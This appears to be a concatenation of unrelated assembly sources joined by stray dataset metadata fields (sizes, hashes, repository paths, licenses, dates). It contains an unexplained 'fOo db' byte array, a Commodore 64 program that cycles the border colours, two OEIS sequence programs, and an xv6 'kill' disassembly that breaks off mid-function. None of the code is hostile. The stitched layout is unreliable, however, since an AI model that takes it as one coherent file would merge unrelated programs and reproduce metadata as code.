fOo db 0x12, 0x48, 0x12, 0x3c, 0x46, 0x22, 0x55, 0x7c, 0x11, 0x4f, 0x1f, 0x3d, 0x47, 0x1a, 0x4e, 0x54, 0x23, 0x10, 0x6, 0x2a, 0x9, 0x3b, 0x55, 0x35, 0x11, 0x6, 0x6, 0x30, 0x13, 0x52, 0x56, 0x48, 0x23, 0x58, 0x57, 0x3, 0x1e, 0x7f, 0x51, 0x66, 0x50, 0x14, 0x48, 0x37, 0x52, 0x0, 0x53, 0x48, 0x36, 0x57, 0x12, 0x7f, 0x14, 0x2a, 0x44, 0x33, 0x43, 0x9, 0x41, 0x5e, 0x14, 0x18, 0x60, 0x79, 0x6b, 0x71, 0x3, 0x7f, 0x24, 0xe, 0x1, 0x7f, 0x4a, 0x4d, 0x42, 0x7e, 0x6c, 0x1, 0x54, 0x53, 0x32, 0x5c, 0xe, 0x0, 0x8, 0x20, 0x44, 0x19, 0x50, 0x38, 0xe, 0x38, 0x52, 0x15, 0x7e, 0xb, 0x7d, 0x1a, 0xa, 0x55, 0x3d, 0x14, 0x64, 0x1d, 0x72, 0x24, 0x2b, 0x17, 0x70, 0x31, 0x62, 0x62, 0x14, 0x63, 0x2f, 0x7, 0x3e, 0x17, 0x68, 0x73, 0x5, 0xe, 0xc, 0x7f, 0x6, 0x35, 0xd, 0x1a, 0x4, 0x60, 0x2f, 0x7, 0x53, 0x24, 0x7d, 0x2a, 0x58, 0x52, 0x2, 0x29, 0x72, 0x3e, 0x71, 0x79, 0xf, 0x5, 0x1b, 0x23, 0x2f, 0x23, 0x5, 0x19, 0x64, 0x14, 0x4, 0x4, 0x6b, 0x2a, 0x14, 0x5b, 0x35, 0xb, 0x13, 0x6a, 0x5b, 0x1a, 0x65, 0x2f, 0x61, 0x3f, 0x30, 0x61, 0x7f, 0x15, 0x48, 0x5, 0x62, 0xa, 0x29, 0xe, 0x10, 0x1f, 0x68, 0x1e, 0x4, 0xe, 0x1, 0x66, 0x5, 0x47, 0x5c, 0x63, 0xa, 0x5e, 0x27, 0x7, 0x3e, 0x7a, 0x5d, 0x2f, 0xa, 0xc, 0x5d, 0x32, 0x5a, 0x43, 0x11, 0x71, 0x69, 0xe, 0x49, 0x61, 0x41, 0ah
| 25.385475
| 1,250
| 0.578125
|
6a79b424425f32040f7d8daf700893f8105eb500
| 238
|
asm
|
Assembly
|
tests/testthat/asm/border0.asm
|
jonocarroll/r64
|
99df883c7c5f369ca530f8b7370c28688187057c
|
[
"MIT"
] | 5
|
2018-04-27T11:25:14.000Z
|
2021-12-17T01:02:51.000Z
|
tests/testthat/asm/border0.asm
|
jonocarroll/r64
|
99df883c7c5f369ca530f8b7370c28688187057c
|
[
"MIT"
] | 4
|
2021-12-17T08:00:47.000Z
|
2021-12-17T11:53:37.000Z
|
tests/testthat/asm/border0.asm
|
jonocarroll/r64
|
99df883c7c5f369ca530f8b7370c28688187057c
|
[
"MIT"
] | 1
|
2021-12-16T11:11:11.000Z
|
2021-12-16T11:11:11.000Z
|
; This program rapidly updates the colors
; of the screen and the border.
*=$c000 ; starting address of the program
start inc $d020 ; increase screen colour
inc $d021 ; increase border colour
jmp start ; repeat
| 26.444444
| 44
| 0.676471
|
37627c09c3b91caa285b295bf1a5212c20cbb499
| 697
|
asm
|
Assembly
|
oeis/018/A018054.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/018/A018054.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/018/A018054.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A018054: Expansion of 1/((1-3*x)*(1-7*x)*(1-11*x)).
; Submitted by Jon Maiga
; 1,21,310,3990,48031,557571,6338620,71164380,792891661,8792412321,97210822930,1072779241170,11824793506891,130242283148271,1433852001421240,15780680237514360,173645640208869721,1910509145600189421,21018450325107861550,231222901641889183950,2543591554524186756151,27980484555020354799771,307792172292035387231860,3385761790520163793769940,37243714962876505900542181,409683211461725341378083321,4506531754169567732329580170,49571964292499375521417512330,545292412193932066872930003811
add $0,2
lpb $0
sub $0,1
max $2,26
mul $2,3
div $3,2
mul $3,14
add $3,$1
mul $1,11
add $1,$2
lpe
mov $0,$3
div $0,78
| 38.722222
| 483
| 0.813486
|
2d3ee7b70f6e0d4d036ad5b778999c568b111878
| 419
|
asm
|
Assembly
|
oeis/299/A299146.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/299/A299146.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/299/A299146.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A299146: Modified Pascal's triangle read by rows: T(n,k) = C(n+1,k) - n, 1 <= k <= n.
; Submitted by Jamie Morken(s1)
; 1,1,1,1,3,1,1,6,6,1,1,10,15,10,1,1,15,29,29,15,1,1,21,49,63,49,21,1,1,28,76,118,118,76,28,1,1,36,111,201,243,201,111,36,1,1,45,155,320,452,452,320,155,45,1,1,55,209,484,781,913,781,484,209,55,1
mov $1,2
lpb $0
sub $2,1
add $0,$2
add $1,1
lpe
add $0,1
bin $1,$0
add $2,$1
mov $0,$2
sub $0,1
| 26.1875
| 195
| 0.608592
|
f07182926bc207d6d24fcafc9fc3e1c5393261ca
| 38,953
|
asm
|
Assembly
|
kill.asm
|
sabra007/xv6
|
dd310ffa631ea362f58bc13218533217183e80ea
|
[
"MIT-0"
] | null | null | null |
kill.asm
|
sabra007/xv6
|
dd310ffa631ea362f58bc13218533217183e80ea
|
[
"MIT-0"
] | null | null | null |
kill.asm
|
sabra007/xv6
|
dd310ffa631ea362f58bc13218533217183e80ea
|
[
"MIT-0"
] | null | null | null |
_kill: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char **argv)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 57 push %edi
4: 56 push %esi
5: 53 push %ebx
int i;
if(argc < 2){
6: bb 01 00 00 00 mov $0x1,%ebx
{
b: 83 e4 f0 and $0xfffffff0,%esp
e: 83 ec 10 sub $0x10,%esp
11: 8b 75 08 mov 0x8(%ebp),%esi
14: 8b 7d 0c mov 0xc(%ebp),%edi
if(argc < 2){
17: 83 fe 01 cmp $0x1,%esi
1a: 7e 2a jle 46 <main+0x46>
1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(2, "usage: kill pid...\n");
exit(0);
}
for(i=1; i<argc; i++)
kill(atoi(argv[i]));
20: 8b 04 9f mov (%edi,%ebx,4),%eax
for(i=1; i<argc; i++)
23: 83 c3 01 add $0x1,%ebx
kill(atoi(argv[i]));
26: 89 04 24 mov %eax,(%esp)
29: e8 02 02 00 00 call 230 <atoi>
2e: 89 04 24 mov %eax,(%esp)
31: e8 8c 02 00 00 call 2c2 <kill>
for(i=1; i<argc; i++)
36: 39 f3 cmp %esi,%ebx
38: 75 e6 jne 20 <main+0x20>
exit(0);
3a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
41: e8 4c 02 00 00 call 292 <exit>
printf(2, "usage: kill pid...\n");
46: c7 44 24 04 56 07 00 movl $0x756,0x4(%esp)
4d: 00
4e: c7 04 24 02 00 00 00 movl $0x2,(%esp)
55: e8 96 03 00 00 call 3f0 <printf>
exit(0);
5a: c7 04 24 00 00 00 00 movl $0x0,(%esp)
61: e8 2c 02 00 00 call 292 <exit>
66: 66 90 xchg %ax,%ax
68: 66 90 xchg %ax,%ax
6a: 66 90 xchg %ax,%ax
6c: 66 90 xchg %ax,%ax
6e: 66 90 xchg %ax,%ax
00000070 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
70: 55 push %ebp
71: 89 e5 mov %esp,%ebp
73: 8b 45 08 mov 0x8(%ebp),%eax
76: 8b 4d 0c mov 0xc(%ebp),%ecx
79: 53 push %ebx
char *os;
os = s;
while((*s++ = *t++) != 0)
7a: 89 c2 mov %eax,%edx
7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80: 83 c1 01 add $0x1,%ecx
83: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
87: 83 c2 01 add $0x1,%edx
8a: 84 db test %bl,%bl
8c: 88 5a ff mov %bl,-0x1(%edx)
8f: 75 ef jne 80 <strcpy+0x10>
;
return os;
}
91: 5b pop %ebx
92: 5d pop %ebp
93: c3 ret
94: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
9a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000a0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
a0: 55 push %ebp
a1: 89 e5 mov %esp,%ebp
a3: 8b 55 08 mov 0x8(%ebp),%edx
a6: 53 push %ebx
a7: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
aa: 0f b6 02 movzbl (%edx),%eax
ad: 84 c0 test %al,%al
af: 74 2d je de <strcmp+0x3e>
b1: 0f b6 19 movzbl (%ecx),%ebx
b4: 38 d8 cmp %bl,%al
b6: 74 0e je c6 <strcmp+0x26>
b8: eb 2b jmp e5 <strcmp+0x45>
ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
c0: 38 c8 cmp %cl,%al
c2: 75 15 jne d9 <strcmp+0x39>
p++, q++;
c4: 89 d9 mov %ebx,%ecx
c6: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
c9: 0f b6 02 movzbl (%edx),%eax
p++, q++;
cc: 8d 59 01 lea 0x1(%ecx),%ebx
while(*p && *p == *q)
cf: 0f b6 49 01 movzbl 0x1(%ecx),%ecx
d3: 84 c0 test %al,%al
d5: 75 e9 jne c0 <strcmp+0x20>
d7: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
d9: 29 c8 sub %ecx,%eax
}
db: 5b pop %ebx
dc: 5d pop %ebp
dd: c3 ret
de: 0f b6 09 movzbl (%ecx),%ecx
while(*p && *p == *q)
e1: 31 c0 xor %eax,%eax
e3: eb f4 jmp d9 <strcmp+0x39>
e5: 0f b6 cb movzbl %bl,%ecx
e8: eb ef jmp d9 <strcmp+0x39>
ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
000000f0 <strlen>:
uint
strlen(const char *s)
{
f0: 55 push %ebp
f1: 89 e5 mov %esp,%ebp
f3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
f6: 80 39 00 cmpb $0x0,(%ecx)
f9: 74 12 je 10d <strlen+0x1d>
fb: 31 d2 xor %edx,%edx
fd: 8d 76 00 lea 0x0(%esi),%esi
100: 83 c2 01 add $0x1,%edx
103: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
107: 89 d0 mov %edx,%eax
109: 75 f5 jne 100 <strlen+0x10>
;
return n;
}
10b: 5d pop %ebp
10c: c3 ret
for(n = 0; s[n]; n++)
10d: 31 c0 xor %eax,%eax
}
10f: 5d pop %ebp
110: c3 ret
111: eb 0d jmp 120 <memset>
113: 90 nop
114: 90 nop
115: 90 nop
116: 90 nop
117: 90 nop
118: 90 nop
119: 90 nop
11a: 90 nop
11b: 90 nop
11c: 90 nop
11d: 90 nop
11e: 90 nop
11f: 90 nop
00000120 <memset>:
void*
memset(void *dst, int c, uint n)
{
120: 55 push %ebp
121: 89 e5 mov %esp,%ebp
123: 8b 55 08 mov 0x8(%ebp),%edx
126: 57 push %edi
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
127: 8b 4d 10 mov 0x10(%ebp),%ecx
12a: 8b 45 0c mov 0xc(%ebp),%eax
12d: 89 d7 mov %edx,%edi
12f: fc cld
130: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
132: 89 d0 mov %edx,%eax
134: 5f pop %edi
135: 5d pop %ebp
136: c3 ret
137: 89 f6 mov %esi,%esi
139: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000140 <strchr>:
char*
strchr(const char *s, char c)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 8b 45 08 mov 0x8(%ebp),%eax
146: 53 push %ebx
147: 8b 55 0c mov 0xc(%ebp),%edx
for(; *s; s++)
14a: 0f b6 18 movzbl (%eax),%ebx
14d: 84 db test %bl,%bl
14f: 74 1d je 16e <strchr+0x2e>
if(*s == c)
151: 38 d3 cmp %dl,%bl
153: 89 d1 mov %edx,%ecx
155: 75 0d jne 164 <strchr+0x24>
157: eb 17 jmp 170 <strchr+0x30>
159: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
160: 38 ca cmp %cl,%dl
162: 74 0c je 170 <strchr+0x30>
for(; *s; s++)
164: 83 c0 01 add $0x1,%eax
167: 0f b6 10 movzbl (%eax),%edx
16a: 84 d2 test %dl,%dl
16c: 75 f2 jne 160 <strchr+0x20>
return (char*)s;
return 0;
16e: 31 c0 xor %eax,%eax
}
170: 5b pop %ebx
171: 5d pop %ebp
172: c3 ret
173: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
179: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000180 <gets>:
char*
gets(char *buf, int max)
{
180: 55 push %ebp
181: 89 e5 mov %esp,%ebp
183: 57 push %edi
184: 56 push %esi
int i, cc;
char c;
for(i=0; i+1 < max; ){
185: 31 f6 xor %esi,%esi
{
187: 53 push %ebx
188: 83 ec 2c sub $0x2c,%esp
cc = read(0, &c, 1);
18b: 8d 7d e7 lea -0x19(%ebp),%edi
for(i=0; i+1 < max; ){
18e: eb 31 jmp 1c1 <gets+0x41>
cc = read(0, &c, 1);
190: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
197: 00
198: 89 7c 24 04 mov %edi,0x4(%esp)
19c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
1a3: e8 02 01 00 00 call 2aa <read>
if(cc < 1)
1a8: 85 c0 test %eax,%eax
1aa: 7e 1d jle 1c9 <gets+0x49>
break;
buf[i++] = c;
1ac: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
for(i=0; i+1 < max; ){
1b0: 89 de mov %ebx,%esi
buf[i++] = c;
1b2: 8b 55 08 mov 0x8(%ebp),%edx
if(c == '\n' || c == '\r')
1b5: 3c 0d cmp $0xd,%al
buf[i++] = c;
1b7: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1)
if(c == '\n' || c == '\r')
1bb: 74 0c je 1c9 <gets+0x49>
1bd: 3c 0a cmp $0xa,%al
1bf: 74 08 je 1c9 <gets+0x49>
for(i=0; i+1 < max; ){
1c1: 8d 5e 01 lea 0x1(%esi),%ebx
1c4: 3b 5d 0c cmp 0xc(%ebp),%ebx
1c7: 7c c7 jl 190 <gets+0x10>
break;
}
buf[i] = '\0';
1c9: 8b 45 08 mov 0x8(%ebp),%eax
1cc: c6 04 30 00 movb $0x0,(%eax,%esi,1)
return buf;
}
1d0: 83 c4 2c add $0x2c,%esp
1d3: 5b pop %ebx
1d4: 5e pop %esi
1d5: 5f pop %edi
1d6: 5d pop %ebp
1d7: c3 ret
1d8: 90 nop
1d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000001e0 <stat>:
int
stat(const char *n, struct stat *st)
{
1e0: 55 push %ebp
1e1: 89 e5 mov %esp,%ebp
1e3: 56 push %esi
1e4: 53 push %ebx
1e5: 83 ec 10 sub $0x10,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1e8: 8b 45 08 mov 0x8(%ebp),%eax
1eb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
1f2: 00
1f3: 89 04 24 mov %eax,(%esp)
1f6: e8 d7 00 00 00 call 2d2 <open>
if(fd < 0)
1fb: 85 c0 test %eax,%eax
fd = open(n, O_RDONLY);
1fd: 89 c3 mov %eax,%ebx
if(fd < 0)
1ff: 78 27 js 228 <stat+0x48>
return -1;
r = fstat(fd, st);
201: 8b 45 0c mov 0xc(%ebp),%eax
204: 89 1c 24 mov %ebx,(%esp)
207: 89 44 24 04 mov %eax,0x4(%esp)
20b: e8 da 00 00 00 call 2ea <fstat>
close(fd);
210: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
213: 89 c6 mov %eax,%esi
close(fd);
215: e8 a0 00 00 00 call 2ba <close>
return r;
21a: 89 f0 mov %esi,%eax
}
21c: 83 c4 10 add $0x10,%esp
21f: 5b pop %ebx
220: 5e pop %esi
221: 5d pop %ebp
222: c3 ret
223: 90 nop
224: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
228: b8 ff ff ff ff mov $0xffffffff,%eax
22d: eb ed jmp 21c <stat+0x3c>
22f: 90 nop
00000230 <atoi>:
int
atoi(const char *s)
{
230: 55 push %ebp
231: 89 e5 mov %esp,%ebp
233: 8b 4d 08 mov 0x8(%ebp),%ecx
236: 53 push %ebx
int n;
n = 0;
while('0' <= *s && *s <= '9')
237: 0f be 11 movsbl (%ecx),%edx
23a: 8d 42 d0 lea -0x30(%edx),%eax
23d: 3c 09 cmp $0x9,%al
n = 0;
23f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
244: 77 17 ja 25d <atoi+0x2d>
246: 66 90 xchg %ax,%ax
n = n*10 + *s++ - '0';
248: 83 c1 01 add $0x1,%ecx
24b: 8d 04 80 lea (%eax,%eax,4),%eax
24e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
252: 0f be 11 movsbl (%ecx),%edx
255: 8d 5a d0 lea -0x30(%edx),%ebx
258: 80 fb 09 cmp $0x9,%bl
25b: 76 eb jbe 248 <atoi+0x18>
return n;
}
25d: 5b pop %ebx
25e: 5d pop %ebp
25f: c3 ret
00000260 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
260: 55 push %ebp
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
261: 31 d2 xor %edx,%edx
{
263: 89 e5 mov %esp,%ebp
265: 56 push %esi
266: 8b 45 08 mov 0x8(%ebp),%eax
269: 53 push %ebx
26a: 8b 5d 10 mov 0x10(%ebp),%ebx
26d: 8b 75 0c mov 0xc(%ebp),%esi
while(n-- > 0)
270: 85 db test %ebx,%ebx
272: 7e 12 jle 286 <memmove+0x26>
274: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
278: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
27c: 88 0c 10 mov %cl,(%eax,%edx,1)
27f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
282: 39 da cmp %ebx,%edx
284: 75 f2 jne 278 <memmove+0x18>
return vdst;
}
286: 5b pop %ebx
287: 5e pop %esi
288: 5d pop %ebp
289: c3 ret
0000028a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
28a: b8 01 00 00 00 mov $0x1,%eax
28f: cd 40 int $0x40
291: c3 ret
00000292 <exit>:
SYSCALL(exit)
292: b8 02 00 00 00 mov $0x2,%eax
297: cd 40 int $0x40
299: c3 ret
0000029a <wait>:
SYSCALL(wait)
29a: b8 03 00 00 00 mov $0x3,%eax
29f: cd 40 int $0x40
2a1: c3 ret
000002a2 <pipe>:
SYSCALL(pipe)
2a2: b8 04 00 00 00 mov $0x4,%eax
2a7: cd 40 int $0x40
2a9: c3 ret
000002aa <read>:
SYSCALL(read)
2aa: b8 05 00 00 00 mov $0x5,%eax
2af: cd 40 int $0x40
2b1: c3 ret
000002b2 <write>:
SYSCALL(write)
2b2: b8 10 00 00 00 mov $0x10,%eax
2b7: cd 40 int $0x40
2b9: c3 ret
000002ba <close>:
SYSCALL(close)
2ba: b8 15 00 00 00 mov $0x15,%eax
2bf: cd 40 int $0x40
2c1: c3 ret
000002c2 <kill>:
SYSCALL(kill)
2c2: b8 06 00 00 00 mov $0x6,%eax
2c7: cd 40 int $0x40
2c9: c3 ret
000002ca <exec>:
SYSCALL(exec)
2ca: b8 07 00 00 00 mov $0x7,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <open>:
SYSCALL(open)
2d2: b8 0f 00 00 00 mov $0xf,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <mknod>:
SYSCALL(mknod)
2da: b8 11 00 00 00 mov $0x11,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <unlink>:
SYSCALL(unlink)
2e2: b8 12 00 00 00 mov $0x12,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <fstat>:
SYSCALL(fstat)
2ea: b8 08 00 00 00 mov $0x8,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <link>:
SYSCALL(link)
2f2: b8 13 00 00 00 mov $0x13,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <mkdir>:
SYSCALL(mkdir)
2fa: b8 14 00 00 00 mov $0x14,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <chdir>:
SYSCALL(chdir)
302: b8 09 00 00 00 mov $0x9,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <dup>:
SYSCALL(dup)
30a: b8 0a 00 00 00 mov $0xa,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <getpid>:
SYSCALL(getpid)
312: b8 0b 00 00 00 mov $0xb,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <sbrk>:
SYSCALL(sbrk)
31a: b8 0c 00 00 00 mov $0xc,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <sleep>:
SYSCALL(sleep)
322: b8 0d 00 00 00 mov $0xd,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <uptime>:
SYSCALL(uptime)
32a: b8 0e 00 00 00 mov $0xe,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <waitpid>:
SYSCALL(waitpid)
332: b8 16 00 00 00 mov $0x16,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <changepriority>:
SYSCALL(changepriority)
33a: b8 17 00 00 00 mov $0x17,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <getpriority>:
342: b8 18 00 00 00 mov $0x18,%eax
347: cd 40 int $0x40
349: c3 ret
34a: 66 90 xchg %ax,%ax
34c: 66 90 xchg %ax,%ax
34e: 66 90 xchg %ax,%ax
00000350 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
350: 55 push %ebp
351: 89 e5 mov %esp,%ebp
353: 57 push %edi
354: 56 push %esi
355: 89 c6 mov %eax,%esi
357: 53 push %ebx
358: 83 ec 4c sub $0x4c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
35b: 8b 5d 08 mov 0x8(%ebp),%ebx
35e: 85 db test %ebx,%ebx
360: 74 09 je 36b <printint+0x1b>
362: 89 d0 mov %edx,%eax
364: c1 e8 1f shr $0x1f,%eax
367: 84 c0 test %al,%al
369: 75 75 jne 3e0 <printint+0x90>
neg = 1;
x = -xx;
} else {
x = xx;
36b: 89 d0 mov %edx,%eax
neg = 0;
36d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
374: 89 75 c0 mov %esi,-0x40(%ebp)
}
i = 0;
377: 31 ff xor %edi,%edi
379: 89 ce mov %ecx,%esi
37b: 8d 5d d7 lea -0x29(%ebp),%ebx
37e: eb 02 jmp 382 <printint+0x32>
do{
buf[i++] = digits[x % base];
380: 89 cf mov %ecx,%edi
382: 31 d2 xor %edx,%edx
384: f7 f6 div %esi
386: 8d 4f 01 lea 0x1(%edi),%ecx
389: 0f b6 92 71 07 00 00 movzbl 0x771(%edx),%edx
}while((x /= base) != 0);
390: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
392: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
395: 75 e9 jne 380 <printint+0x30>
if(neg)
397: 8b 55 c4 mov -0x3c(%ebp),%edx
buf[i++] = digits[x % base];
39a: 89 c8 mov %ecx,%eax
39c: 8b 75 c0 mov -0x40(%ebp),%esi
if(neg)
39f: 85 d2 test %edx,%edx
3a1: 74 08 je 3ab <printint+0x5b>
buf[i++] = '-';
3a3: 8d 4f 02 lea 0x2(%edi),%ecx
3a6: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
while(--i >= 0)
3ab: 8d 79 ff lea -0x1(%ecx),%edi
3ae: 66 90 xchg %ax,%ax
3b0: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax
3b5: 83 ef 01 sub $0x1,%edi
write(fd, &c, 1);
3b8: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
3bf: 00
3c0: 89 5c 24 04 mov %ebx,0x4(%esp)
3c4: 89 34 24 mov %esi,(%esp)
3c7: 88 45 d7 mov %al,-0x29(%ebp)
3ca: e8 e3 fe ff ff call 2b2 <write>
while(--i >= 0)
3cf: 83 ff ff cmp $0xffffffff,%edi
3d2: 75 dc jne 3b0 <printint+0x60>
putc(fd, buf[i]);
}
3d4: 83 c4 4c add $0x4c,%esp
3d7: 5b pop %ebx
3d8: 5e pop %esi
3d9: 5f pop %edi
3da: 5d pop %ebp
3db: c3 ret
3dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
x = -xx;
3e0: 89 d0 mov %edx,%eax
3e2: f7 d8 neg %eax
neg = 1;
3e4: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
3eb: eb 87 jmp 374 <printint+0x24>
3ed: 8d 76 00 lea 0x0(%esi),%esi
000003f0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
3f0: 55 push %ebp
3f1: 89 e5 mov %esp,%ebp
3f3: 57 push %edi
char *s;
int c, i, state;
uint *ap;
state = 0;
3f4: 31 ff xor %edi,%edi
{
3f6: 56 push %esi
3f7: 53 push %ebx
3f8: 83 ec 3c sub $0x3c,%esp
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
3fb: 8b 5d 0c mov 0xc(%ebp),%ebx
ap = (uint*)(void*)&fmt + 1;
3fe: 8d 45 10 lea 0x10(%ebp),%eax
{
401: 8b 75 08 mov 0x8(%ebp),%esi
ap = (uint*)(void*)&fmt + 1;
404: 89 45 d4 mov %eax,-0x2c(%ebp)
for(i = 0; fmt[i]; i++){
407: 0f b6 13 movzbl (%ebx),%edx
40a: 83 c3 01 add $0x1,%ebx
40d: 84 d2 test %dl,%dl
40f: 75 39 jne 44a <printf+0x5a>
411: e9 c2 00 00 00 jmp 4d8 <printf+0xe8>
416: 66 90 xchg %ax,%ax
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
418: 83 fa 25 cmp $0x25,%edx
41b: 0f 84 bf 00 00 00 je 4e0 <printf+0xf0>
write(fd, &c, 1);
421: 8d 45 e2 lea -0x1e(%ebp),%eax
424: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
42b: 00
42c: 89 44 24 04 mov %eax,0x4(%esp)
430: 89 34 24 mov %esi,(%esp)
state = '%';
} else {
putc(fd, c);
433: 88 55 e2 mov %dl,-0x1e(%ebp)
write(fd, &c, 1);
436: e8 77 fe ff ff call 2b2 <write>
43b: 83 c3 01 add $0x1,%ebx
for(i = 0; fmt[i]; i++){
43e: 0f b6 53 ff movzbl -0x1(%ebx),%edx
442: 84 d2 test %dl,%dl
444: 0f 84 8e 00 00 00 je 4d8 <printf+0xe8>
if(state == 0){
44a: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
44c: 0f be c2 movsbl %dl,%eax
if(state == 0){
44f: 74 c7 je 418 <printf+0x28>
}
} else if(state == '%'){
451: 83 ff 25 cmp $0x25,%edi
454: 75 e5 jne 43b <printf+0x4b>
if(c == 'd'){
456: 83 fa 64 cmp $0x64,%edx
459: 0f 84 31 01 00 00 je 590 <printf+0x1a0>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
45f: 25 f7 00 00 00 and $0xf7,%eax
464: 83 f8 70 cmp $0x70,%eax
467: 0f 84 83 00 00 00 je 4f0 <printf+0x100>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
46d: 83 fa 73 cmp $0x73,%edx
470: 0f 84 a2 00 00 00 je 518 <printf+0x128>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
476: 83 fa 63 cmp $0x63,%edx
479: 0f 84 35 01 00 00 je 5b4 <printf+0x1c4>
putc(fd, *ap);
ap++;
} else if(c == '%'){
47f: 83 fa 25 cmp $0x25,%edx
482: 0f 84 e0 00 00 00 je 568 <printf+0x178>
write(fd, &c, 1);
488: 8d 45 e6 lea -0x1a(%ebp),%eax
48b: 83 c3 01 add $0x1,%ebx
48e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
495: 00
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
496: 31 ff xor %edi,%edi
write(fd, &c, 1);
